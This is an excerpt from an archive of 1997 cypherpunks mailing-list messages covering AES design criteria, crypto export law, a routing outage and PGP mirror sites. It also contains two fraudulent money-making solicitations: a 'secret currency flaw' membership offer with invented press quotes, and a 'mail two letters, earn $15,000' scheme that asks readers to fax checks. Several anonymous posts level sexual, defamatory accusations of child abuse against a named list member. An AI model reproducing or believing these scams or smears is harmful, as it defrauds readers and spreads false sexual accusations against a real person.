DON'T BELIEVE US, EXPERIENCE IT FOR YOURSELF !!!
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Unlike anyone else, we will assure you great financial freedom and you will 
add to our quickly growing base of  supporters and join the list of  Millionaires 
being made using this SECRET FLAW in the world currency market.
                                '''''''''''''''''''''''''''''''''''''''''''''''''''''
DON'T ENVY US, JOIN US TODAY
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
There is a small yearly membership fee of only $30 to cover administrative cost.  
Your important documents, instructions, contacts name & addresses along with 
important phone numbers and all other pertinent information will be mailed to 
you IMMEDIATELY! 

Once you become a member, you promise to keep all infos Confidential. Should
you choose to cancel your membership, you may return all materials within 60
days for refund.

IMPORTANT:
''''''''''''''''''''''''''''''''''''''''
1.......Write your name & mailing address Very Clearly on a small sheet of paper
2........Below your address, please write your E-MAIL address for the record
3........Below that please write the word 'NEW MEMBER'
3........Attache a CHECK or M.O. for US$30.00 and mail it to:


                            DIAMOND INTERNATIONAL
                            7510   SUNSET BLVD;
                            SUITE #  334
                            LOS ANGELES, CA.90046

( If you are outside U.S.A., please ADD US$ 10 extra for shipping  &  postage )
  ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
No more e-mail enquiries please. We do not have time to reply to individual 
e-mails anymore! We are busy making money!! Wouldn't you rather be doing 
the same too? Thank you !!!

Here are some more 'Editorial Excerpts' :
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

Wall Street Journal:
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''   "A discreet group of American & European business 
people, operating under the guise of  World Currency Cartel   have recently
begun making rumbles in world finance market. While at this time, their game is 
not completely known, they certainly be watched by those making major moves
in the currency contracts".

Wall Street Week:
''''''''''''''''''''''''''''''''''''''''''''''''''''''   " Watch them, monitor them, extract their knowledge
and try to become one of them. That is the soundest financial advice I could
ever give someone ".

National Business Weekly:
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''   " While this reporter has been left in the cold as
to its method of operation, we have been able to confirm that  World Currency
Cartel and its members are literally amassing great fortunes overnight".

Barons:
'''''''''''''''''''''''''''''   " Simply put, they (world currency cartel) are the single most
powerful financial entity to emerge in this decade ".

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;   E  N  D  ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 27 Apr 1997 01:00:06 -0700 (PDT)
To: Tim May <tcmay@got.net>
Subject: Re: Cato forum on liquor advertising and electronic media
In-Reply-To: <3.0.1.32.19970425112019.0063ddd8@popd.ix.netcom.com>
Message-ID: <3.0.1.32.19970427003936.0064b978@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:59 PM 4/25/97 -0800, Tim May wrote:
>At 10:20 AM -0800 4/25/97, Bill Stewart wrote:
>>Attachment converted: APS 1GB Fireball:PYRBBROW.GIF (GIFf/JVWR) (0000F3F7)
> ^^^^^^^^^^^^^^^^^^^^^
>I know I sound like a broken record, but these "attachments" are getting
>out of hand. I periodically look at my attachments folder and find several

Yeah, I probably shouldn't have, but it was small...

>(This GIF I opened...it appears to be a beer bottle with a star hanging
>around the neck. Self-ratings of beer?)

The context was the [some censorship group] initiative to ban alcohol and
tobacco advertising on the web.  Their big hangup is Joe Camel, of course,
but I didn't have a handy Joe Camel gif around at the time I was posting,
and good beer is a far more civilized thing anyway :-) - it's Pyramid's
Best Brown Ale.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 27 Apr 1997 01:26:56 -0700 (PDT)
To: cypherpunks@toad.com
Subject: [ANNOUNCEMENT] Meet-in-the-middle attack
Message-ID: <199704270826.EAA22338@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[rook] May prefers to have sex with little kids 
because his own penis is like that of a three-year-old.

      /\
     /..\  Tim C[rook] May
    /_\/_\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 27 Apr 1997 09:00:34 -0700 (PDT)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: [ANNOUNCEMENT] Meet-in-the-middle attack
In-Reply-To: <199704270826.EAA22338@dhp.com>
Message-ID: <Pine.A41.3.95.970427095909.73712A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 27 Apr 1997, lucifer Anonymous Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.


> Tim C[rook] May prefers to have sex with little kids 
> because his own penis is like that of a three-year-old.
> 
>       /\
>      /..\  Tim C[rook] May
>     /_\/_\
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 27 Apr 1997 10:05:40 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: [ANNOUNCEMENT] Meet-in-the-middle attack
Message-ID: <199704271705.KAA30538@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Sun, 27 Apr 1997
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Cc: cypherpunks@toad.com
Subject: Re: [ANNOUNCEMENT] Meet-in-the-middle attack
Reply-To: Graham-John Bullers <real@freenet.edmonton.ab.ca>

On Sun, 27 Apr 1997, lucifer Anonymous Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.


> Tim C[rook] May prefers to have sex with little kids 
> because his own penis is like that of Graham-John Bullers.
> 
>       /\
>      /..\  Tim C[rook] May
>     /_\/_\
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 27 Apr 1997 10:48:07 -0700 (PDT)
To: harka@nycmetro.com
Subject: Re: Staale & Elm
In-Reply-To: <TCPSMTP.17.4.26.-16.29.48.2780269260.1618548@nycmetro.com>
Message-ID: <3.0.1.32.19970427104602.0065f860@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:29 PM 4/26/97 -0500, harka@nycmetro.com wrote:
>1. Does anybody know, what happened to the International
>PGP-Homepage (http//www.ifi.uio.no/PGP/)? 
>It comes up as "Link not found" (?!)
>Also Staales personal page (http://www.ifi.uio.no/~staalesc/) seems
>to be gone...

It's there now.... must have been a glitch.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sun, 27 Apr 1997 12:26:36 -0700 (PDT)
To: tz@execpc.com
Subject: Re: Crypto moves forward: Commerce Dept panel and SAFE markup
In-Reply-To: <Pine.GSO.3.95.970425201740.13101F-100000@well.com>
Message-ID: <3.0.1.32.19970427122125.031071a0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 06:50 PM 4/26/97 -0400, tz@execpc.com wrote:
>On Fri, 25 Apr 1997, Declan McCullagh wrote:
>
>> My lord, I'm agreeing with Jim Bell!
>> 
>> Right now, no controls exit on domestic crypto, though strict export
>> controls are in place.
>> 
>> The question is: Do we want to give up any domestic freedom in exchange
>> for a relaxation of export controls? (Congress is, after all, built on
>> compromises between warring factions.)
>> 
>> My instinct is to say "No." Let the courts strike down ITAR, EAR, and its
>> progeny, while we keep our freedoms domestically. 
>> 
>> -Declan
>
>I emailed Rep Goodlatte, but didn't get a response about this issue.  My
>main problem is that it becomes a felony to use encryption for anything
>that can be prosecuted if I take the legalese literally.  So if I have a
>GSM cell phone in a car that is illegally parked, it seems that I would
>fall under the definition.
>
>I would mind it less if, 1. There had to be a conviction for the main
>crime.  2. The main crime must be a serious felony (i.e. something far
>worse than a single overdrawn check).  3. The penaly for using encryption
>in furtherance should be less than that for the main crime.  4. encryption
>had to play an intrinsic role in the main crime.  5. It must go beyond
>common, everyday uses of encryption.

It is kind of similar to the laws involving guns and crime.  If they find a
gun anywhere near the crime scene they tack on bigger and better penalties. 
(For example: they break down the door of someone who has some quantity of
illegal molecules on their property and find a gun in the search.  Odds are
they will try and tack on the "gun used in commission of a crime" penalties.)
 Anything that can become a threat to those in power will become eligible for
such additional penalties at some point.  

"In the future it will be extra jail time for using fire and/or the wheel in
the commission of a crime.  and the people to bring it to you?  The TLAs!"

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBM2OnKOQCP3v30CeZAQGXIAf+JS45w58k062qNfMAOPs8zDrwi2V7LkrD
U1ibZoTCA8zr5PMP8/JqOEhY7vxWsduO53OHYJPKj46cqZ5WkLpTJdQUzJ1vRLTZ
/hvd84/MgWnThb+zVZoqywH3Ss049vq6RWSJQkNXkGzMrTi3920uOrAXd+55LclN
jDjsvEMTnyQN1ziF2v4SMaMNnd0zN0xVG+/xmm4CHcQL2FR0wJhSZGiyYilL21w6
9qIilgQmpx6t7Ma4V94CnFS/mJzPNc/0DHRvnuIBdSD/XPRvJdVdA+gwDXKDoMJk
SBhAI3mbrTvPRAP9AE+bco7ecxuDDhJElcTJDU2PjBowu4gfPL3WwA==
=72ny
-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lester Gordon (temp)" <lrdon@cyberstation.net>
Date: Sun, 27 Apr 1997 11:04:50 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Don Wood -- IPG
Message-ID: <Pine.BSI.3.95.970427125721.12177A-100000@citrine.cyberstation.net>
MIME-Version: 1.0
Content-Type: text/plain


Have you seen what the notorious Don Wood of IPG infamy is up to now?
He has a new web page up at `http://www.seymourtex.com/newisrael/ni.htm'.
You won't believe it..





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 27 Apr 1997 11:01:09 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Fax Security Program
Message-ID: <1.5.4.32.19970427175927.0075b2f8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The TV show "Computer Chronicles" Saturday featured
various comm security products, one of which used a fax 
encoding system with unusual capabilities to transmit color
images, condensed text (say, a 30-page doc encoded
on a single fax page) or any other digital data as visual
clutter.

The hard copy is scanned at the receiving end and the 
program decodes and decompresses to the original format.

A demonstation showed that the clutter-code has error-correction 
robust enough to overcome any physical damage or defect in 
the transmittal or output.

We missed the name of the product and would appreciate
hearing from anyone who did, or who knows of the product.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sun, 27 Apr 1997 14:46:10 -0700 (PDT)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Staale & Elm
In-Reply-To: <TCPSMTP.17.4.26.-16.29.48.2780269260.1618548@nycmetro.com>
Message-ID: <3.0.1.32.19970427144534.02beb820@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 10:46 AM 4/27/97 -0700, Bill Stewart wrote:
>At 04:29 PM 4/26/97 -0500, harka@nycmetro.com wrote:
>>1. Does anybody know, what happened to the International
>>PGP-Homepage (http//www.ifi.uio.no/PGP/)? 
>>It comes up as "Link not found" (?!)
>>Also Staales personal page (http://www.ifi.uio.no/~staalesc/) seems
>>to be gone...
>
>It's there now.... must have been a glitch.

I have been noticing a problem contacting sites all over Northern and Central
Europe.

I mirror selected crypto sites on a local system (for personal use, not
general distribution or FTP) and have noticed that I cannot get a reliable
mirror off of a couple of different sites.  sable.ox.ac.uk, hacktic.nl,
win.tue.nl and ftp.orpht.lu have all been unreliable/unreachable the last few
days.  I am not certain if this is a bandwidth issue or if someone is activly
interfearing with sites dealing in Unix Security/Crypto software.
(ftp.funet.fi has been tempermental, but reachable.  Sites in other areas
have been unaffected.)

Anyone have more data on this?
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBM2PI8+QCP3v30CeZAQHigQf+PjNmUdO4K6JMXOKiZZXhf7o5pB88Wqcx
4vkj5z2+jqFUZ1t+O+2LASIY7n9hWaQQDSPVmuMs1wLmnZo1fmtx2TO9WS5+Z1uN
OvFDdDpLsqshKA4jz43Ch79xePDXZLWpXfA0SpmoL2Wzc9Gtc1D9/k9JdGky1UDv
M7nnNY4vUpbkj7+jCguSnv6/V6/MdUIyy5pbn7DYjvLdZoPpa+D446vkAsb46UyI
ucw6PMWrhZVMViDY6JrRulEOeAZ4F/4OXOT8e9JZC74+YZSUda5z2kfkxmzpQRlH
d7+X4C7EXTeGjDajo3poRYYHZihO7VHV4eFX7wFZStfF2uzk5ZWfNA==
=WieQ
-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Sun, 27 Apr 1997 16:36:44 -0700 (PDT)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199704272331.QAA04632@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C. May prefers to have sex with little kids because his own 
penis is like that of a three-year-old.

      (_) _____ (_)
         /O   O\   Timmy C. May
        !   I   !
        ! \___/ !
         \_____/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 27 Apr 1997 16:33:07 -0700 (PDT)
To: Bruce Schneier <schneier@counterpane.com>
Subject: Re: AES Comments
In-Reply-To: <v03007802af87eb708bce@[206.11.192.175]>
Message-ID: <3.0.1.32.19970427163220.00667c40@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:27 PM 4/26/97 -0500, Bruce Schneier wrote to NIST about their
proposals for an Advanced Encryption Standard (AES) FIPS:

>With this in mind, I propose a set of Minimum Acceptability Criteria that
>pushes the envelope of current encryption algorithms:
>	A variable key, supporting (at least) a 128- and 256-bit key .
One of Bruce's comments is that any algorithm picked today will
probably be around until 2040-50; if computer speeds double every year,
then the marginally useful strength by then will be about 110-120 bits.
While it's nice to have an expandable key structure that will let you
increase the strength by then, 128 bits is really still strong enough,
and a fixed-keylength algorithm that's still workable in triple-mode 
should work just fine.
>		No more than double with a 256-bit key on any platform.
Allowing triple opens the field a lot, and by the time you need >128-bit keys,
machines will be so blazingly fast that a 50% difference won't matter much;
you'll still be able to encrypt that 1Gbps 3D video in real time.

>	Encryption speeds (in clock cycles per byte encrypted):
>		No more than 64 on an 8-bit smart card with a 128-bit key.

How fast do you really need, in seconds, for typical smart-card apps?
64 cycles at 1MHz is 16000 bytes/second; 128 cycles is 8000 bytes/second.
How fast are most smartcards?  1MHz?  2MHz?  500kHz?
The main uses I can see for 8-bit crypto processing are
- cheap, large-volume crypto for uncompressed voice (needs 8000 bytes/sec)
- adding crypto to digital phones ( ~800-1660 bytes/sec )
- money cards (if you're not using public-key, maybe you need 100 bytes,
	so 8000 bytes/sec is 1/80 sec transaction?)
- ATM machines (which typically have 4800-bits/sec data connections,
	== 600 bytes/sec, and often have 16-bit processors.  Even DES works.)

>		No more than 16 on a Pentium, Pentium Pro, PowerPC, or DEC
>		Alpha with a 128-bit key.
Which interestingly knocks out Blowfish (18 cycles), Khufu (20), and RC5 (23),
and the only things faster are SEAL and RC4 stream-only cyphers.
It's a tradeoff between forcing the development and testing of
cutting-edge speed, which may cost you in strength, vs. supporting a
bunch of existing algorithms we're starting to understand.
If it takes an extra 2 years to develop new algorithms,
you've doubled computer speed, so you could use the 17-32-cycle algorithms
you're rejecting today.....

>These requirements are not easy to meet.  As far as I know, no published
>block cipher meets them all (although some come close in many areas).  But
>requirements such as these will challenge the world's cryptographic
>research organizations to create something useful. 
>I know you realize that the selection process will take several years to
>complete.  Therefor, I urge you to approve triple-DES as an interim
>standard.  This will satisfy users who need a 64-bit block cipher for
>compatibility reasons, while allowing you the time required to choose and
>approve the best AES you can.

If this is the ulterior motive for requiring faster-than-current algorithms,
I'm all for it (:-)  Triple-DES is boring, slow, and just fine for most
applications.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Sun, 27 Apr 1997 17:07:36 -0700 (PDT)
To: alan@ctrl-alt-del.com
Subject: Re: Staale & Elm
In-Reply-To: <3.0.1.32.19970427144534.02beb820@mail.teleport.com>
Message-ID: <199704280005.RAA18503@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Alan Olsen writes:
> At 10:46 AM 4/27/97 -0700, Bill Stewart wrote:
> >At 04:29 PM 4/26/97 -0500, harka@nycmetro.com wrote:
> >>1. Does anybody know, what happened to the International
> >>PGP-Homepage (http//www.ifi.uio.no/PGP/)?
> >>It comes up as "Link not found" (?!)
> >>Also Staales personal page (http://www.ifi.uio.no/~staalesc/) seems
> >>to be gone...
> >
> >It's there now.... must have been a glitch.
> 
> I have been noticing a problem contacting sites all over Northern and Central
> Europe.
> 
> I mirror selected crypto sites on a local system (for personal use, not
> general distribution or FTP) and have noticed that I cannot get a reliable
> mirror off of a couple of different sites.  sable.ox.ac.uk, hacktic.nl,
> win.tue.nl and ftp.orpht.lu have all been unreliable/unreachable the last few
> days.  I am not certain if this is a bandwidth issue or if someone is activly
> interfearing with sites dealing in Unix Security/Crypto software.
> (ftp.funet.fi has been tempermental, but reachable.  Sites in other areas
> have been unaffected.)
> 
> Anyone have more data on this?


Yea, it's a problem with a Sprint customer who put out a bunch of
bogus routes.  Since friday I have been having problems connecting
to various sites, not all of them security-related.

According to an article in the Mercury News (info from more technically
knowledgable sources welcome):

  A problem at an Internet service provider in Virginia
  triggered a massive logjam on the Internet Friday, but
  the trouble was cleared up later in the day, Sprint
  Corp. said. A customer of MAI Network Services, a
  McLean, Va.-based Internet provider that is among
  900 companies that buy wholesale access to the Net
  from Sprint, entered 10,000 duplicate routes to the
  Internet backbone.   That caused massive access delays for
  an undetermined number of users, a Sprint spokes
  man said. 


I wonder how long it'll be possible for unauthenticated/unapproved people to
mess around with routers.  Eventually the net will become so important
(because so much business involves it) that a large outage will cost
a lot of important people money.  They'll demand that politicians
"do something" to fix it.  It's a safe bet that instead of
doing what hackers/software engineers/IETF members would do
to solve the problem, namely re-designing things so that a single error
can't bring down the whole net, they'll just pass a law requiring
that anyone who wants the 'enable' password to a cisco have first
passed a government-approved "Internet Administrators Class" and
gotten a license.


-- 
   Eric Murray  ericm@lne.com         Privacy through technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sun, 27 Apr 1997 15:22:06 -0700 (PDT)
To: jya@pipeline.com (John Young)
Subject: Re: New Crypto Panel
In-Reply-To: <1.5.4.32.19970424163437.006df544@pop.pipeline.com>
Message-ID: <199704272222.RAA07351@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> Federal Register, April 24, 1997:
>     The Secretary of Commerce has determined that the 
> establishment of the President's Export Council
> Subcommittee on Encryption is in the public interest in 
> connection with the performance of duties imposed on the 
> Department by law.
>     Interested persons are invited to submit comments regarding 
> the establishment of the Subcommittee to Lee Ann Carpenter, 
> Committee Liaison Officer, OAS/EA/BXA, U.S. Department of 
> Commerce, MS: 3886C, Washington, D.C., 20230. Telephone: 
> 202-482-2583. FAX: 202-501-8024.

	Figures that they wouldn't provide an email address. Clues for the 
clueless anyone?

	




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 27 Apr 1997 15:39:49 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: "New Israel" (Re: Don Wood -- IPG)
Message-ID: <1.5.4.32.19970427223809.008c30ec@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Screwy as the New Israel idea may seem, it's been
around a while.

There was talk of such a plan in the early 90s to settle 
Russian Jews in the US Southwest, using decommissioned 
military bases as new Ellis Islands, kibbutzim, trailer 
trashheaps. As was eventually done in the Israel (our 
firm surveyed housing sites for the latter and learned of
the alternative US plan then).

We were told that the promise of Amer-Indian casino gambling 
made southwest real estate too attractive to devalue with
refugee camps, so the idea was deferred it until the gambling
gold rush eased, or a Mid-East conflagration kicked in an
emergency relocation plan devised by DoD (no surprise 
there, DoD contingency-plans the globe).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: <dave@xxxdoe.net>
Date: Sun, 27 Apr 1997 16:52:37 -0700 (PDT)
To: <cyoung6204@aol.com>
Subject: Mail Two Letters & Earn $15,000 Month !!
Message-ID: <m0wLdLy-001YL3C@alliance.net>
MIME-Version: 1.0
Content-Type: text/plain


JUST MAIL TWO LETTERS....AND
"Make up to $15,000 in ONE (1) MONTH"
RESULTS ARE GUARANTEED! (proof will be sent with order)

As unbelievable as it sounds. I have developed
an "exclusive information package" that can earn
you as much as $15,000 within a "30 day" period.
It's a money making discovery that is so powerful,
it's guaranteed to produce at least $500 (or more)
average cash income PER DAY! by following my
simple instructions, or I'll pay you $100 for
just giving it a try. Others are doing it -
why not you? I'll show you exactly how it's done
and provide you with SPECIFIC FORMS AND INFORMATION.
You will not be able to believe how amazingly simple this is to do.

I know you've been bombarded with ads claiming to make you rich.
You've seen them - a guy telling you his tragic life story about being broke, cars being repossessed and living in poverty. Then, as if by magic, his problems are gone and he's standing by a very expensive car (probably isn't even his). Or throwing up wads of money (probably 100 one dollar bills) and telling you about his little secret he has to make you rich beyond your wildest dreams.

I know, from personal experience, that most money making plans really don't work in practice. It's a fact that there are very few ways for an average person like myself to easily make big money fast. For years I have searched out and investigated many money making ideas. I've been determined to find the very best, honest methods of getting rich fast. I have bought and tried a number of courses, plans and "How-To" books on making money "easily". I've tried import/export wholesaling, self publishing, mail order catalogs, real estate and  stock investments, pyramid schemes, multi-level marketing junk, and many other different mail order methods. I've spent hours of wasted energy trying to find the right one. After spending all that time and a lot of money, I have discovered only one thing for sure - THEY ALL REQUIRE A LOT OF HARD WORK AND TIME (usually 2-6 months to get started) AND MONEY (usually $400 to several thousand dollars up-front). And after
that, the profits, if any, were usually very small.

I'VE COME ACROSS SOMETHING THAT CAN TOTALLY CHANGE YOUR WAY OF
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$15,000 will be sent to you in ONE (1) MONTH GUARANTEED! Very little work, very little investment, and no "products". Forget about work and forget about risk - there is very little of this involved. My program isn't a business or a job; it's a proven money making principle. It's a concept that is so SIMPLE and so INCREDIBLE that it would be hard to make a mistake, even if you tried. I believe in my heart, that this is THE BEST SYSTEM OFFERED IN THE UNITED STATES TODAY. It's the shortest and safest way to make this kind of money that I have ever investigated. And it can be repeated over and over again.

HERE'S HOW IT WORKS:

MAIL ONLY TWO (2) LETTERS ABOUT EVERY SIX (6) WEEKS - (JUST 16 LETTERS A YEAR!) THAT'S ALL I DO! ANYONE ELSE RECEIVING MY REPORT AND MATERIALS CAN DO IT TOO!

1. Mail one letter about four sentences long to "Business A" (I'll
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2. Put the materials I sent you along with the information from
"Business A" into a large envelope, include my instructions and mail it directly to "Business B". They will take care of everything else for you. No work involved on your part.

Everything will be carefully disclosed to you in precise detailed
steps, clearly, concisely, and in an easy-to-understand manner. I'll send you the facts. Actual working materials, and instructions you need to make money, AT ONCE. Mail just sixteen (16) letters a year and earn up to $180,000 average income per year with this. There is nothing magical about it, it's all "know-how" and anyone, even a high school student, can learn to do this in approximately 30 minutes. You only need to know whom to send the letters to!

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And....Guess what? You'll be surprised to learn that both "Business A" and "Business B" can be found in most every city in the United States and Canada. This has got to be the most valuable piece of information that money can buy. No more guesswork, no more hassles....nothing but straight easy income. This technique can be used anywhere, by anyone with a tiny bit of ambition. The money will start coming in directly to your home or office in only a matter of days. EVERY PENNY IS YOURS TO KEEP! It all comes in "cold cash", ready for you to spend right now. It's a specific and definite money-making process that will work for you exactly as it's working for me and several others. In fact, this might be the shortest legal way to make money that has ever been invented.

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This plan will show you how to take in more money in a day, than you now earn in a week....more money in a month, than you now make per year, and more money in a year, than anyone thought possible. Enjoy your life in a way that most people will only dream about. It would stagger one's imagination, while they are making only a fraction of what you will be making by working only part time, at home. Don't worry, the money is always there and ready - enough to create a new lifestyle that lets you live and work as YOU please, anywhere YOU please. It should not interfere with your present job or family life. (Earn money 24 hours a day without stepping out of your home or apartment!)

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$5,000 SPECIAL GUARANTEE

If you show me an easier, simpler, and more risk free moneymaking
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You will make $15,000 in one month exactly as  outlined in my program, $500 average daily profit mailing  just sixteen (16) letters a year and doing ONLY 20 MINUTES average follow-up work a day. If you act now, it will be yours at ONLY a cost of $27.95 plus $2.00 shipping and  handling. With your permission, I'll RUSH this valuable money producing manual to you at my risk. NOT YOURS.


*****************************************************

Print & Mail This Order Form To:
Make Checks Payable To:

Dave Mustachi
P.O. Box 772261 - Dept. S
Coral Springs, FL 33077-2261

Okay, send me your entire package "MAIL TWO LETTERS AND MAKE $15,000 IN ONE MONTH". I understand if after receiving and implementing the process described in your manual, I become dissatisfied for any reason, you will honor your money-back guarantee for one full year. On that basis, enclosed is my $27.95 plus $2.00 Shipping & Handling.


NAME___________________________________________________


ADDRESS________________________________________________


CITY______________________STATE_____________ZIP________


EMAIL  ADDRESS_________________________________________


****************************************************

OR

PLEASE PASTE YOUR CHECK HERE

(If you fax a check, there is no need for you to send the original
check by mail. We will draft up a new check, with the exact
information from your original check that you faxed to us)

Please fax the above order form and check to: 1-954-255-3713.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 27 Apr 1997 20:10:59 -0700 (PDT)
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199704272331.QAA04632@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970427210955.93240B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



Vulis you are sick.

On Sun, 27 Apr 1997, Mix wrote:

> Timmy C. May prefers to have sex with little kids because his own 
> penis is like that of a three-year-old.
> 
>       (_) _____ (_)
>          /O   O\   Timmy C. May
>         !   I   !
>         ! \___/ !
>          \_____/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
